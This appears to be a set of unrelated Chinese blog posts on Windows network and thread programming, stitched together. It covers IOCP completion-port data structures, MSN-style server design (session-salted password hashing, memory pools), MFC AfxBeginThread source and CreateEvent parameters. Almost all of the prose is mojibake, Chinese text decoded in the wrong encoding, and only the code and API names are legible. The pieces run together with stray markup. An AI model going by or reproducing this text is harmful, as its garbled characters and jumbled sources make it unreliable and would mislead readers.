銆銆浠ュ瓧闈㈢殑鎰忔濇潵鐞嗚В錛宭pCompletionKey鍐呭寘瀹圭殑涓滆タ搴旇鏄笌鍚勪釜socket涓涓瀵瑰簲鐨勶紝鑰宭pOverlapped鏄笌姣忎竴嬈＄殑wsarecv鎴杦sasend鎿嶄綔涓涓瀵瑰簲鐨勩?br>
銆銆鍦ㄧ綉緇滄ā鍨嬬殑甯歌璁捐涓紝褰撲竴涓鎴風榪炴帴鍒版湇鍔″櫒鍚庯紝鏈嶅姟鍣ㄤ細閫氳繃accept鎴朅cceptEx鍒涘緩涓涓猻ocket錛岃屽簲鐢ㄥ眰涓轟簡淇濆瓨涓庢socket鐩稿叧鐨勫叾瀹冧俊鎭紙姣斿錛氳socket鎵瀵瑰簲鐨剆ockaddr_in緇撴瀯浣撴暟鎹紝璇ョ粨鏋勪綋鍐呭惈瀹㈡埛绔疘P絳変俊鎭紝浠ュ強涓轟究浜庡鎴風鐨勯昏緫鍖呮暣鐞嗚屽噯澶囩殑鏁版嵁鏁寸悊緙撳啿鍖虹瓑錛夛紝寰寰闇瑕佸垱寤轟竴涓笌璇ocket涓涓瀵瑰簲鐨勫鎴風搴曞眰閫氫俊瀵硅薄錛岃繖涓璞″彲浠ヨ礋璐ｄ繚瀛樹粎鍦ㄧ綉緇滃眰闇瑕佸鐞嗙殑鏁版嵁鎴愬憳鍜屾柟娉曪紝鐒跺悗鎴戜滑闇瑕佸皢姝ゅ鎴風搴曞眰閫氫俊瀵硅薄鏀懼叆涓涓被浼間簬list鎴杕ap鐨勫鍣ㄤ腑錛屽緟鍒伴渶瑕佷嬌鐢ㄧ殑鏃跺欙紝浣跨敤瀹瑰櫒鐨勬煡鎵劇畻娉曟牴鎹畇ocket鍊兼壘鍒板畠鎵瀵瑰簲鐨勫璞＄劧鍚庤繘琛屾垜浠墍闇瑕佺殑鎿嶄綔銆?br>
銆銆璁╀漢闈炲父楂樺叴鐨勬槸錛屽畬鎴愮鍙?#8220;浣撹創(chuàng)鍏ュ井”錛屽畠宸茬粡甯垜浠湪姣忔鐨勫畬鎴愪簨浠墮氱煡鏃訛紝紼嶅甫鐫鎶婅socket鎵瀵瑰簲鐨勫簳灞傞氫俊瀵硅薄鐨勬寚閽堥佺粰浜嗘垜浠紝榪欎釜鎸囬拡灝辨槸lpCompletionKey銆備篃灝辨槸璇達紝褰撴垜浠粠GetQueuedCompletionStatus鍑芥暟鍙栧緱涓涓暟鎹帴鏀跺畬鎴愮殑閫氱煡錛岄渶瑕佸皢姝ゆ鏀跺埌鐨勬暟鎹斁鍒拌socket鎵瀵瑰簲鐨勯氫俊瀵硅薄鏁寸悊緙撳啿鍖哄唴瀵規(guī)暟鎹繘琛屾暣鐞嗘椂錛屾垜浠凡緇忎笉闇瑕佸幓鎵цlist鎴杕ap絳夌殑鏌ユ壘綆楁硶錛岃屾槸鍙互鐩存帴瀹氫綅榪欎釜瀵硅薄浜嗭紝褰撳鎴風榪炴帴閲忓緢澶ф椂錛岄綣佹煡琛ㄨ繕鏄緢褰卞搷鏁堢巼鐨勩傚搰鍝︼紝澶竻浜嗭紝涓嶆槸鍚楋紵鍛靛懙銆?br>
銆銆鍩轟簬浠ヤ笂鐨勮璇嗭紝鎴戜滑鐨刲pCompletionKey瀵硅薄鍙互璁捐濡備笅錛?br>銆銆typedef struct PER_HANDLE_DATA
銆銆{
銆銆銆銆SOCKET socket;銆銆銆銆銆銆銆銆銆銆 //鏈粨鏋勪綋瀵瑰簲鐨剆ocket鍊?br>銆銆銆銆sockaddr_in addr;銆銆銆銆銆銆銆銆銆銆//鐢ㄤ簬瀛樻斁瀹㈡埛绔疘P絳変俊鎭?br>銆銆銆銆char DataBuf[ 2*MAX_BUFFER_SIZE ];銆銆//鏁寸悊緙撳啿鍖?鐢ㄤ簬瀛樻斁姣忔鏁寸悊鏃剁殑鏁版嵁
銆銆}
銆銆PER_HANDLE_DATA涓巗ocket鐨勭粦瀹氾紝閫氳繃CreateIOCompletionPort瀹屾垚錛屽皢璇ョ粨鏋勪綋鍦板潃浣滀負璇ュ嚱鏁扮殑絎笁涓弬鏁頒紶鍏ュ嵆鍙傝孭ER_HANDLE_DATA緇撴瀯浣撲腑addr鎴愬憳錛屾槸鍦╝ccept鎵ц鎴愬姛鍚庤繘琛岃祴鍊肩殑銆侱ataBuf鍒欏彲浠ュ湪姣忔WSARecv鎿嶄綔瀹屾垚錛岄渶瑕佹暣鐞嗙紦鍐插尯鏁版嵁鏃朵嬌鐢ㄣ?br>
銆銆涓嬮潰鎴戜滑鍐嶆潵鐪嬬湅瀹屾垚绔彛鐨勬敹銆佸彂鎿嶄綔涓墍浣跨敤鍒扮殑閲嶅彔緇撴瀯浣揙VERLAPPED銆?br>
銆銆鍏充簬閲嶅彔IO鐨勭煡璇嗭紝璇瘋嚜琛孏OOGLE鐩稿叧璧勬枡銆傜畝鍗曞湴璇達紝OVERLAPPED鏄簲鐢ㄥ眰涓庢牳蹇冨眰浜や簰鍏變韓鐨勬暟鎹崟鍏冿紝濡傛灉瑕佹墽琛屼竴涓噸鍙營O鎿嶄綔錛屽繀欏誨甫鏈塐VERLAPPED緇撴瀯銆傚湪瀹屾垚绔彛涓紝瀹冨厑璁稿簲鐢ㄥ眰瀵筄VERLAPPED緇撴瀯榪涜鎵╁睍鍜岃嚜瀹氫箟錛屽厑璁稿簲鐢ㄥ眰鏍規(guī)嵁鑷繁鐨勯渶瑕佸湪OVERLAPPED鐨勫熀紜涓婂艦鎴愭柊鐨勬墿灞昈VERLAPPED緇撴瀯銆備竴鑸湴錛屾墿灞曠殑OVERLAPPED緇撴瀯涓紝瑕佹眰鏀懼湪絎竴涓殑鏁版嵁鎴愬憳鏄師OVERLAPPED緇撴瀯銆傛垜浠彲浠ュ艦濡備互涓嬫柟寮忓畾涔夎嚜宸辯殑鎵╁睍OVERLAPPED緇撴瀯錛?br>銆銆typedef struct PER_IO_DATA
銆銆{
銆銆銆銆OVERLAPPED ovl;
銆銆銆銆WSABUF buf;
銆銆銆銆char RecvDataBuf[ MAX_BUFFER_SIZE ]; //鎺ユ敹緙撳啿鍖?br>銆銆銆銆char SendDataBuf[ MAX_BUFFER_SIZE ]; //鍙戦佺紦鍐插尯
銆銆銆銆OpType opType; //鎿嶄綔綾誨瀷錛氬彂閫併佹帴鏀舵垨鍏抽棴絳?br>銆銆}
銆銆
銆銆鍦ㄦ墽琛學SASend鍜學SARecv鎿嶄綔鏃訛紝搴旂敤灞備細灝嗘墿灞昈VERLAPPED緇撴瀯鐨勫湴鍧浼犵粰鏍稿績錛屾牳蹇冨畬鎴愮浉搴旂殑鎿嶄綔鍚庯紝浠嶇劧閫氳繃鍘熸湁鐨勮繖涓粨鏋勪紶閫掓搷浣滅粨鏋滐紝姣斿“鎺ユ敹”鎿嶄綔瀹屾垚鍚庯紝RecvDataBuf閲屽瓨鏀句究鏄嬈℃帴鏀朵笅鏉ョ殑鏁版嵁銆?br>
銆銆鏍規(guī)嵁鍚勮嚜搴旂敤鐨勪笉鍚岋紝涓嶅悓鐨勫畬鎴愮鍙ｈ璁¤呭彲鑳戒細璁捐鍑轟笉鍚岀殑PER_HANDLE_DATA
鍜孭ER_IO_DATA錛屾垜榪欓噷緇欏嚭鐨勮璁′篃鍙槸閽堝鑷繁鐨勫簲鐢ㄥ満鍚堢殑錛屼笉涓瀹氬氨閫傚悎浣犮備絾鎴戞兂錛屾渶涓昏鐨勮繕鏄鎼炴槑鐧絇ER_HANDLE_DATA鍜孭ER_IO_DATA涓ょ緇撴瀯浣撶殑鍚箟銆佺敤閫旓紝浠ュ強璋冪敤嫻佺▼銆?br>
]]>
]]>
鏉ユ簮涓嶆槑
鐢變簬宸ヤ綔闇瑕侊紝鎴戠敤浜嗚繎2涓湀鐨勬椂闂村幓浜嗚Вmsn鐨勫崗璁紝閫氳繃闀挎椂闂寸殑鎶撳寘鍜岃瘯鍥懼疄鐜幫紝鎴戝皢鎴戜簡瑙ｄ簡鐨刴sn鐨勬湇鍔″櫒绔殑閮ㄥ垎璁捐鎬濇兂鎬葷粨濡備笅銆?br>
浣滀負鏈嶅姟鍣ㄨ璁★紝姣旇緝閲嶈鐨勫嚑涓棶棰樻槸錛?涓嶅Ε涔嬪錛屽笇鏈涘ぇ瀹朵慨姝ｏ級
1.瀹夊叏鎬?br>
2.騫跺彂鏈嶅姟鑳藉姏
3.鎬ц兘鐨勫彲綰挎ф彁楂?br>
涓銆佸畨鍏ㄦ?br>
鏈嶅姟鍣ㄧ殑瀹夊叏鎬у寘鎷袱閮ㄥ垎錛屼竴鏄湇鍔″櫒鏈韓杞‖浠墮厤緗笂鐨勫畨鍏ㄦэ紝姣斿闃叉緋葷粺婕忔礊錛涗簩鏄湇鍔″櫒鍜屽鎴風閫氳鍗忚鐨勫畨鍏ㄦц璁★紝闃叉閫氳繃鍗忚鏈韓瀵艱嚧瀵嗙爜娉勯湶銆佹湇鍔″櫒琚潪娉曟敾鍑葷瓑銆?br>
鍦ㄥ崗璁笂錛宮sn鐨勫瘑鐮佹槸閫氳繃ssl浼犻佸埌鏈嶅姟鍣ㄧ殑錛涙垜瀵箂sl鐨勫唴閮ㄧ粏鑺備笉鏄緢浜嗚В錛屼絾鏄樉鐒訛紝瀵嗙爜緇忚繃ssl浼犺緭榪囩▼鍒版湇鍔″櫒绔悗錛屾槸琚槑鏂囪В鍑虹殑錛?鍥犳瀹夊叏鎬т緷璧栦簬ssl鏈韓鎻愪緵銆傚湪榪欐柟闈紝鎴戝懼悜浜巠ahoo鐨勮璁★紝瀵嗙爜涓嶉氳繃鑷韓鐨勬槑鏂囨垨鑰呬換浣曟湰韜殑鍔犲瘑鍚庡瘑鏂囦紶杈擄紝鑰屾槸鍚屾湇鍔″櫒榪斿洖鐨?session鍜宲assword緇撳悎錛岃繘琛屾販鍚堢殑涓嶅彲鍙嶅悜瑙ｅ瘑鐨刴d5瀵嗘枃榪涜浼犺緭銆傝繖鏍風殑鍔犲瘑緇撴灉琚換浣曠涓夋柟鎴幏閮芥槸娌℃湁鎰忎箟鐨勶紱鍥犱負涓嶅彲鑳戒粠榪欐牱 鐨勫瘑鏂囦腑鍒嗘瀽鍑哄師鏉ョ殑瀵嗙爜銆?br>
鎴戣涓猴紝浼犺緭鍗忚涓紝瀵嗙爜蹇呴』鍜屾湇鍔″櫒绔崗鍟嗙殑涓涓殢鏈簊eesion緇撳悎錛岄氳繃涓嶅彲鎭㈠鐨勫姞瀵嗘柟寮忚繘琛屽姞瀵嗭紝浼犻佸埌鏈嶅姟鍣紝鏈嶅姟鍣ㄧ涔熸槸鎸夌収session鍜宲assowrd榪涜鍚屾牱鏂瑰紡鐨勫姞瀵嗭紝姣旇緝鍔犲瘑緇撴灉錛岄獙璇佺敤鎴風殑鍚堟硶鎬с?br>
灝辮蔣紜歡緋葷粺鏈韓鐨勫畨鍏ㄦц岃█錛屾垜璁や負灝介噺鎶婄郴緇熶腑涓嶉渶瑕佺殑杞歡鍜屽叾瀹冩ā鍧楀幓闄わ紝淇濈暀鏈嶅姟鍣ㄧ郴緇熻繍琛岄渶瑕佺殑鏈灝忓唴鏍革紱鍚屾椂涓鍙版湇鍔″櫒搴旇鍙彁渚涜鏈嶅姟鍣ㄩ渶 瑕佹彁渚涚殑鏈嶅姟錛屼笉寮澶氫綑鐨勭綉緇滅鍙ｏ紝瀵箃elnet鏂瑰紡紱佹錛岃屼嬌鐢ㄦ洿瀹夊叏鐨剆sh榪涜榪滅▼綆＄悊銆?br>
浜屻佸茍鍙戞湇鍔¤兘鍔?br>
鏈嶅姟鍣ㄧ殑騫跺彂鏈嶅姟鑳藉姏鏄湇鍔″櫒紼嬪簭璁捐鐨勪竴涓噸瑕佸唴瀹廣?br>
1銆佸湪鍗曞彴鏈嶅姟鍣ㄤ笂錛屾湇鍔″櫒杞歡鐨勬ц兘璁捐搴旇冭檻浠ヤ笅闂錛?br>
鏁版嵁鎷瘋礉
鍐呭瓨綆＄悊
綰跨▼闂寸殑閿佹帶鍒?br>
鏁版嵁鎷瘋礉錛?br>
閫氬父鏉ヨ錛岄伩鍏嶆暟鎹嫹璐濇槸涓潪甯稿ご鐤肩殑闂銆傛垜鍦ㄥ鉤鏃剁殑宸ヤ綔涓紝灝介噺鎶婄紦鍐插尯鐨勬寚閽堜嬌鐢ㄨ寖鍥撮檺瀹氬湪涓瀹氱殑浣滅敤鍩熷唴錛屽鏋滈渶瑕佸湪浣滅敤鍩熷浣跨敤錛屾垜閫氬父浼氶氳繃 鏁版嵁鎷瘋礉鐨勬柟寮忚繘琛岋紝榪欐牱鍙互閬垮厤浠や漢澶寸柤鐨勫唴瀛樻硠闇查棶棰橈紝涓鍧楀唴瀛樹竴鏃﹀湪澶氫釜浣滅敤鍩熶嬌鐢ㄦ垨鑰呭湪鍒嗛厤璇ュ唴瀛樼殑浣滅敤鍩熶箣澶栦嬌鐢ㄦ椂錛屽緢瀹規(guī)槗鎼炰笉娓呮浣曟椂璇ラ噴鏀?璇ュ唴瀛樸?br>
涓涓瘮杈冨ソ鐨勫姙娉曟槸鍒╃敤鍦–OM閲屼嬌鐢ㄧ殑寮曠敤璁℃暟鎶鏈紝鎶婅鍐呭瓨鐨勯噴鏀炬椂鏈轟氦緇欏唴瀛樿嚜宸辯鐞嗭紱涔熷氨鏄鎶婂唴瀛樺皝瑁呰繘涓涓粨鏋勪綋鎴栬呯被閲岋紝鏈韓瀵硅嚜宸辮浣跨敤榪涜綆＄悊錛屼竴鏃﹀彂鐜拌嚜宸辨病鏈変漢浣跨敤浜嗭紝灝遍噴鏀捐嚜宸便?br>
鍐呭瓨綆＄悊錛?br>
鍐呭瓨鐨勫鐞嗕篃鏄緢闇瑕佹敞鎰忕殑涓閮ㄥ垎錛岄綣佺殑new /delete鍐呭瓨浼氳鍐呭瓨鍑虹幇澶ч噺紕庣墖錛屽鏈嶅姟鍣ㄨ蔣浠剁殑鎬ц兘涔熸槸鏈変笉灝忕殑褰卞搷鐨勶紱閫氬父鐨勫仛娉曟垜浠彲浠ヤ竴寮濮嬬敵璇蜂竴涓瘮杈冨ぇ鐨勫唴瀛樺尯鍩燂紝鐒跺悗鑷繁璐熻矗綆?鐞嗭紝鎶婅繖鍧楀唴瀛樺垝鍒嗘垚寰堝灝忓潡錛?4B/ 128B/ 256B)錛岀劧鍚庢寜鐓х敵璇峰唴瀛樼殑闇瑕侊紝鍒嗛厤鍚堥傜殑鍐呭瓨鍖哄煙銆傝繖鏍峰彲浠ヤ笉鐢ㄦ瘡嬈￠兘鍒扮郴緇熺敵璇峰唴瀛橈紝涔熸妸鍐呭瓨娉勯湶鐨勫彲鑳芥ч檺鍒跺湪寰堝皬鐨勮寖鍥村唴錛堝唴瀛樻硠闇插簲璇ヨ 瑙ｅ喅錛夈?br>
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鏈枃浣滆咃細sodme銆鏈枃鍑哄錛歨ttp://blog.csdn.net/sodme
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銆銆瀵逛簬鐧婚檰鏈嶅姟鍣紝浼氭湁250鍙板ぇ鍘呮湇鍔″櫒榪炴帴鍒版瘡涓櫥闄嗘湇鍔″櫒涓婏紝榪欐槸濮嬬粓閮借淇濇寔鐨勮繛鎺ワ紱
銆銆鑰屽浜庡ぇ鍘呮湇鍔″櫒鑰岃█錛屽鏋滀粎浠呮湁鏂楀湴涓昏繖涓綾葷殑鏈嶅姟鍣紝灝辮鏈?50澶氫釜榪炴帴涓庡悇涓ぇ鍘呮湇鍔″櫒濮嬬粓淇濇寔鐫銆傛墍浠ヤ粠榪欎竴鐐圭湅錛屾垜鐨勭粨鏋勫湪鏌愪簺鏂歸潰榪樺瓨鍦ㄧ潃闇瑕佹敼榪涚殑鍦版柟錛屼絾鏍稿績鎬濇兂鏄細灝藉揩鍦版彁渚涚敤鎴風櫥闄嗙殑閫熷害錛屽敖鍙兘鏂逛究鍦拌鐜╁榪涘叆娓告垙涓?
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鐗堟潈鎵鏈?codesky.net 2003-2005
鍦ㄨ繘琛屽綰跨▼紼嬪簭璁捐鐨勬椂鍊?鎴戜滑緇忓父鐢ㄥ埌AfxBeginThread鍑芥暟鏉ュ惎鍔ㄤ竴鏉＄嚎紼?br>璇ュ嚱鏁頒嬌鐢ㄨ搗鏉ラ潪甯哥殑綆鍗曟柟渚?鍏跺畾涔夊涓?CWinThread* AfxBeginThread(
AFX_THREADPROC pfnThreadProc,//綰跨▼鍑芥暟鍦板潃
LPVOID pParam,//綰跨▼鍙傛暟
int nPriority = THREAD_PRIORITY_NORMAL,//綰跨▼浼樺厛綰?br> UINT nStackSize = 0,//綰跨▼鍫嗘爤澶у皬,榛樿涓?M
DWORD dwCreateFlags = 0,//
LPSECURITY_ATTRIBUTES lpSecurityAttrs = NULL
);CWinThread* AfxBeginThread(
CRuntimeClass* pThreadClass,
int nPriority = THREAD_PRIORITY_NORMAL,
UINT nStackSize = 0,
DWORD dwCreateFlags = 0,
LPSECURITY_ATTRIBUTES lpSecurityAttrs = NULL
);鍙傛暟璇存槑:
pfnThreadProc:綰跨▼鍑芥暟鐨勫湴鍧,璇ュ弬鏁頒笉鑳借緗負NULL,綰跨▼鍑芥暟蹇呴』瀹氫箟鎴愬叏灞鍑芥暟鎴栬呯被鐨勯潤鎬佹垚鍛樺嚱鏁?br>渚嬪:
UINT myThreadFunc(LPVOID lparam)
鎴栬?br>class A
{
public:
static UINT __stdcall myThreadFunc(LPVOID lparam);
}
涔嬫墍浠ヨ瀹氫箟鎴愮被鐨勯潤鎬佹垚鍛樺嚱鏁?鏄洜涓虹被鐨勯潤鎬佹垚鍛樺嚱鏁頒笉灞炰簬鏌愪釜綾誨璞?榪欐牱鍦ㄨ皟鐢ㄥ嚱鏁?br>鐨勬椂鍊欏氨涓嶇敤浼犻掍竴涓澶栫殑this鎸囬拡.pThreadClass:鎸囧悜浠嶤WinThread媧劇敓鐨勫瓙綾誨璞＄殑RUNTIME_CLASS
pParam:瑕佷紶閫掔粰綰跨▼鍑芥暟鐨勫弬鏁?/p>
nPriority:瑕佸惎鍔ㄧ殑綰跨▼鐨勪紭鍏堢駭,榛樿浼樺厛綰т負THREAD_PRIORITY_NORMAL(鏅氫紭鍏堢駭),鍏充簬綰跨▼
浼樺厛綰х殑璇︾粏璇存槑璇峰弬鑰働latform SDK SetThreadPriority鍑芥暟璇存槑nStackSize:鏂扮嚎紼嬬殑鍫嗘爤澶у皬,濡傛灉璁劇疆涓?,鍒欎嬌鐢ㄩ粯璁ゅぇ灝?鍦ㄥ簲鐢ㄧ▼搴忎腑涓鑸儏鍐典笅綰跨▼鐨勯粯璁ゅ爢鏍堝ぇ灝?br> 涓?M
dwCreateFlags:綰跨▼鍒涘緩鏍囧織,璇ュ弬鏁板彲浠ユ寚瀹氫負涓嬪垪鏍囧織
CREATE_SUSPENDED:浠ユ寕璧鋒柟寮忓惎鍔ㄧ嚎紼?濡傛灉浣犲湪綰跨▼鍚姩涔嬪墠鎯沖垵濮嬪寲涓浜汣WinThread綾諱腑鐨勪竴浜涙垚鍛樺彉閲?br> 姣斿:m_bAutoDelete鎴栬呬綘鐨勬淳鐢熺被涓殑鎴愬憳鍙橀噺,褰撳垵濮嬪寲瀹屾垚涔嬪悗,浣犲彲浠ヤ嬌鐢–WinThread綾葷殑ResumeThread
鎴愬憳鍑芥暟鏉ユ仮澶嶇嚎紼嬬殑榪愯
濡傛灉鎶婅鏍囧織璁劇疆涓?,鍒欒〃紺虹珛鍗沖惎鍔ㄧ嚎紼?br>lpSecurityAttrs:鎸囧悜瀹夊叏鎻忚堪絎︾殑鎸囬拡,濡傛灉浣跨敤榛樿鐨勫畨鍏ㄧ駭鍒彧瑕佽璇ュ弬鏁拌緗負NULL灝卞彲浠ヤ簡!涓婇潰灝辨槸AfxBeginThread鍑芥暟鐨勭畝鍗曡鏄?鎴戜滑鍦ㄤ嬌鐢ㄧ殑鏃跺欎竴鑸儏鍐典笅鍙鎸囧畾鍓嶄袱涓弬鏁?鍏朵粬
鍙傛暟浣跨敤榛樿鍊煎氨鍙互.鍡?鐨勭‘,浣跨敤璧鋒潵鏄緢綆鍗?鍙榪欎釜鍑芥暟涓琚皟鐢?灝卞垱寤轟簡涓涓嚎紼?
浣嗘槸澶у鏈夋病鏈夋兂榪?AfxBeginThread鍑芥暟絀剁珶鏄浣曞惎鍔ㄧ殑綰跨▼鍛?瀹冪殑鍐呴儴鏄浣曞疄鐜扮殑鍛?涓嬮潰鎴戜滑灝辨潵鐪嬩竴涓婣fxBeginThread鍑芥暟鐨勫唴閮ㄥ疄鐜?/p>
//鍚姩worker綰跨▼
CWinThread* AFXAPI AfxBeginThread(AFX_THREADPROC pfnThreadProc, LPVOID pParam,
int nPriority, UINT nStackSize, DWORD dwCreateFlags,
LPSECURITY_ATTRIBUTES lpSecurityAttrs)
{
#ifndef _MT
pfnThreadProc;
pParam;
nPriority;
nStackSize;
dwCreateFlags;
lpSecurityAttrs;return NULL;
#else
ASSERT(pfnThreadProc != NULL);CWinThread* pThread = DEBUG_NEW CWinThread(pfnThreadProc, pParam);
ASSERT_VALID(pThread);if (!pThread->CreateThread(dwCreateFlags|CREATE_SUSPENDED, nStackSize,
lpSecurityAttrs))
{
pThread->Delete();
return NULL;
}
VERIFY(pThread->SetThreadPriority(nPriority));
if (!(dwCreateFlags & CREATE_SUSPENDED))
VERIFY(pThread->ResumeThread() != (DWORD)-1);return pThread;
#endif //!_MT)
}//鍚姩UI綰跨▼
CWinThread* AFXAPI AfxBeginThread(CRuntimeClass* pThreadClass,
int nPriority, UINT nStackSize, DWORD dwCreateFlags,
LPSECURITY_ATTRIBUTES lpSecurityAttrs)
{
#ifndef _MT
pThreadClass;
nPriority;
nStackSize;
dwCreateFlags;
lpSecurityAttrs;return NULL;
#else
ASSERT(pThreadClass != NULL);
ASSERT(pThreadClass->IsDerivedFrom(RUNTIME_CLASS(CWinThread)));CWinThread* pThread = (CWinThread*)pThreadClass->CreateObject();
if (pThread == NULL)
AfxThrowMemoryException();
ASSERT_VALID(pThread);pThread->m_pThreadParams = NULL;
if (!pThread->CreateThread(dwCreateFlags|CREATE_SUSPENDED, nStackSize,
lpSecurityAttrs))
{
pThread->Delete();
return NULL;
}
VERIFY(pThread->SetThreadPriority(nPriority));
if (!(dwCreateFlags & CREATE_SUSPENDED))
VERIFY(pThread->ResumeThread() != (DWORD)-1);return pThread;
#endif //!_MT
}浠庝笂闈㈢殑浠ｇ爜涓彲浠ョ湅鍑篈fxBeginThread鎵鍋氱殑浜嬫儏涓昏鏈変互涓嬪嚑鐐?
1.鍦╤eap涓厤緗竴涓柊鐨凜WinThread瀵硅薄(worker綰跨▼)
浠ｇ爜濡?CWinThread* pThread = DEBUG_NEW CWinThread(pfnThreadProc, pParam);
璋冪敤CRuntimeClass緇撴瀯涓殑CreateObject鍑芥暟鍒涘緩CWinThread瀵硅薄
CWinThread* pThread = (CWinThread*)pThreadClass->CreateObject();
CRuntimeClass浠ュ強MFC鐩稿叧綾葷殑鍐呴儴瀹炵幇,璇︽儏璇峰弬鑰?br>銆婃繁鍏ユ祬鍑篗FC銆嬩警鎹瘋憲2.璋冪敤CWinThread::CreateThread()騫惰瀹氬睘鎬?浣跨嚎紼嬩互鎸傝搗鐘舵佷駭鐢?br>pThread->CreateThread(dwCreateFlags|CREATE_SUSPENDED, nStackSize,lpSecurityAttrs);
3.璁懼畾綰跨▼鐨勪紭鍏堟潈
pThread->SetThreadPriority(nPriority);4.璋冪敤CWinThread::ResumeThread
pThread->ResumeThread();
閫氳繃涓婇潰鐨勮鏄?鎴戞兂澶у瀵硅鍑芥暟鍒板簳鍦ㄥ唴閮ㄩ兘鍋氫簡浠涔?搴旇鏈変竴涓垵姝ョ殑浜嗚В浜?
瀵逛簬VC鑰佹墜鏉ヨ,榪欑瘒鏂囩珷鍙兘騫舵病鏈変粈涔堝彲璇諱箣澶?浣嗘槸瀵逛簬鍒濆鑰呮潵璇?榪樻槸鏈変竴瀹氱殑
浠峰肩殑!
鎬諱箣,甯屾湜榪欑瘒鏂囩珷鑳界粰鍚勪綅涓鐐圭偣鐨勫府鍔?
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鍑芥暟鍔熻兘鎻忚堪錛氬垱寤烘垨鎵撳紑涓涓懡鍚嶇殑鎴栨棤鍚嶇殑浜嬩歡瀵硅薄
鍑芥暟鍘熷瀷錛?br>HANDLE CreateEvent(
LPSECURITY_ATTRIBUTES lpEventAttributes, // 瀹夊叏灞炴?br> BOOL bManualReset, // 澶嶄綅鏂瑰紡
BOOL bInitialState, // 鍒濆鐘舵?br> LPCTSTR lpName // 瀵硅薄鍚嶇О
);
鍙傛暟錛?br>
lpEventAttributes錛?br> [杈撳叆]涓涓寚鍚慡ECURITY_ATTRIBUTES緇撴瀯鐨勬寚閽堬紝紜畾榪斿洖鐨勫彞鏌勬槸鍚﹀彲琚瓙榪涚▼緇ф壙銆傚鏋渓pEventAttributes鏄疦ULL錛屾鍙ユ焺涓嶈兘琚戶鎵褲?br> Windows NT/2000錛歭pEventAttributes鐨勭粨鏋勪腑鐨勬垚鍛樹負鏂扮殑浜嬩歡鎸囧畾浜嗕竴涓畨鍏ㄧ銆傚鏋渓pEventAttributes鏄疦ULL錛屼簨浠跺皢鑾峰緱涓涓粯璁ょ殑瀹夊叏絎︺?br>
bManualReset錛?br> [杈撳叆]鎸囧畾灝嗕簨浠跺璞″垱寤烘垚鎵嬪姩澶嶅師榪樻槸鑷姩澶嶅師銆傚鏋滄槸TRUE錛岄偅涔堝繀欏葷敤ResetEvent鍑芥暟鏉ユ墜宸ュ皢浜嬩歡鐨勭姸鎬佸鍘熷埌鏃犱俊鍙風姸鎬併傚鏋滆緗負FALSE錛屽綋浜嬩歡琚竴涓瓑寰呯嚎紼嬮噴鏀句互鍚庯紝緋葷粺灝嗕細鑷姩灝嗕簨浠剁姸鎬佸鍘熶負鏃犱俊鍙風姸鎬併?br>
bInitialState錛?br> [杈撳叆]鎸囧畾浜嬩歡瀵硅薄鐨勫垵濮嬬姸鎬併傚鏋滀負TRUE錛屽垵濮嬬姸鎬佷負鏈変俊鍙風姸鎬侊紱鍚﹀垯涓烘棤淇″彿鐘舵併?br>
lpName錛?br> [杈撳叆]鎸囧畾浜嬩歡鐨勫璞＄殑鍚嶇О錛屾槸涓涓互0緇撴潫鐨勫瓧絎︿覆鎸囬拡銆傚悕縐扮殑瀛楃鏍煎紡闄愬畾鍦∕AX_PATH涔嬪唴銆傚悕瀛楁槸瀵瑰ぇ灝忓啓鏁忔劅鐨勩?br> 濡傛灉lpName鎸囧畾鐨勫悕瀛楋紝涓庝竴涓瓨鍦ㄧ殑鍛藉悕鐨勪簨浠跺璞＄殑鍚嶇О鐩稿悓錛屽嚱鏁板皢璇鋒眰EVENT_ALL_ACCESS鏉ヨ闂瓨鍦ㄧ殑瀵硅薄銆傝繖鏃跺欙紝鐢變簬bManualReset鍜宐InitialState鍙傛暟宸茬粡鍦ㄥ垱寤轟簨浠剁殑榪涚▼涓緗紝榪欎袱涓弬鏁板皢琚拷鐣ャ傚鏋渓pEventAttributes鏄弬鏁頒笉鏄疦ULL錛屽畠?yōu)畣纭畾姝ゅ彞鏌勬槸鍚﹀彲浠ヨ鐟翩壙锛屼絾鏄叾瀹夊叏鎻彉q扮鎴愬憳灝嗚蹇界暐銆?br> 濡傛灉lpName涓篘ULL錛屽皢鍒涘緩涓涓棤鍚嶇殑浜嬩歡瀵硅薄銆?br> 濡傛灉lpName鐨勫拰涓涓瓨鍦ㄧ殑淇″彿銆佷簰鏂ャ佺瓑寰呰鏃跺櫒銆佷綔涓氭垨鑰呮槸鏂囦歡鏄犲皠瀵硅薄鍚嶇О鐩稿悓錛屽嚱鏁板皢浼氬け璐ワ紝鍦℅etLastError鍑芥暟涓皢榪斿洖ERROR_INVALID_HANDLE銆傞犳垚榪欑鐜拌薄鐨勫師鍥犳槸榪欎簺瀵硅薄鍏變韓鍚屼竴涓懡鍚嶇┖闂淬?br>
緇堢鏈嶅姟(Terminal Services)錛氬悕縐頒腑鍙互鍔犲叆"Global\"鎴栨槸"Local\"鐨勫墠緙錛岃繖鏍峰彲浠ユ槑紜殑灝嗗璞″垱寤哄湪鍏ㄥ眬鐨勬垨浜嬪姟鐨勫懡鍚嶇┖闂淬傚悕縐扮殑鍏跺畠閮ㄥ垎闄や簡鍙嶆枩鏉?\)錛屽彲浠ヤ嬌鐢ㄤ換鎰忓瓧絎︺傝緇嗗唴瀹瑰彲鍙傝僈ernel Object Name Spaces銆?br> Windows 2000錛氬湪Windows 2000緋葷粺涓紝娌℃湁緇堢鏈嶅姟榪愯錛?Global\"鍜?Local\"鍓嶇紑灝嗚蹇界暐銆傚悕縐扮殑鍏跺畠閮ㄥ垎闄や簡鍙嶆枩鏉?\)錛屽彲浠ヤ嬌鐢ㄤ換鎰忓瓧絎︺?br> Windows NT 4.0浠ュ強鏃╂湡鐗堟湰, Windows 95/98錛氬悕縐頒腑闄や簡鍙嶆枩鏉?\)錛屽彲浠ヤ嬌鐢ㄤ換鎰忓瓧絎︺?br>
榪斿洖鍊鹼細
濡傛灉鍑芥暟璋冪敤鎴愬姛錛屽嚱鏁拌繑鍥炰簨浠跺璞＄殑鍙ユ焺銆傚鏋滃浜庡懡鍚嶇殑瀵硅薄錛屽湪鍑芥暟璋冪敤鍓嶅凡緇忚鍒涘緩錛屽嚱鏁板皢榪斿洖瀛樺湪鐨勪簨浠跺璞＄殑鍙ユ焺錛岃屼笖鍦℅etLastError鍑芥暟涓繑鍥濫RROR_ALREADY_EXISTS銆?br> 濡傛灉鍑芥暟澶辮觸錛屽嚱鏁拌繑鍥炲間負NULL錛屽鏋滈渶瑕佽幏寰楄緇嗙殑閿欒淇℃伅錛岄渶瑕佽皟鐢℅etLastError銆?br>
